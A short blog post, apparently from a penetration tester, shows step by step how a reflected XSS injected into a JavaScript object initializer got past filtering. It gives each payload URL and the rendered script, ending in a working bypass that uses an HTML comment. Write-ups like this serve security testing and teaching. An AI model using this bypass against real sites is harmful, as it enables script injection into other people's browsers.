I recently came up against the following injection on a pen test (simplified for the purposes of this post):

https://example.com/foo.php?r=foobar

<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar" };
</script>

This is Injection into a JavaScript object initializer.

OK… let’s try the obvious:

https://example.com/foo.php?r=foobar"}; alert('xss');

which renders

<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar"}; alert('xss');" };
</script>

Don’t forget to use that scrollbar! And ofc the parameters are percent encoded, but shown here plain for your enjoyment.

However, no popup. Chrome developer tools said

Uncaught SyntaxError: Invalid or unexpected token

and Firefox’s said:

SyntaxError: unterminated string literal

So lets try removing the trailing script by commenting it out:

https://example.com/foo.php?r=foobar"}; alert('xss');//

but this rendered

<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "" };
</script>

Our old friend, filtering. We meet again.

OK, let’s try terminating the script tag and making a new one:

https://example.com/foo.php?r=foobar</script><script>alert('xss')</script>

but this rendered

<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar<" };
</script>

Hmm, not quite what we wanted. Wonder if that’s a genuine filter case, or whether the // comment filter is going wrong? Or this filter is intended, and the other is a side-effect. Who knows? Whatever.

OK, so < seems to work, but we can’t comment as / is filtered. I was stumped for a while, lunchtime came, I went for a Boots sandwich and then came back to my desk to sulk.

Then it hit me. If JavaScript comments don’t work, how about HTML comments?

https://example.com/foo.php?r=foobar"}; alert('xss');<!--

which rendered

<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar"}; alert('xss');<!--" };
</script>

Fiddle

Success!

XSS Screenshot

Why does this work? See the spec.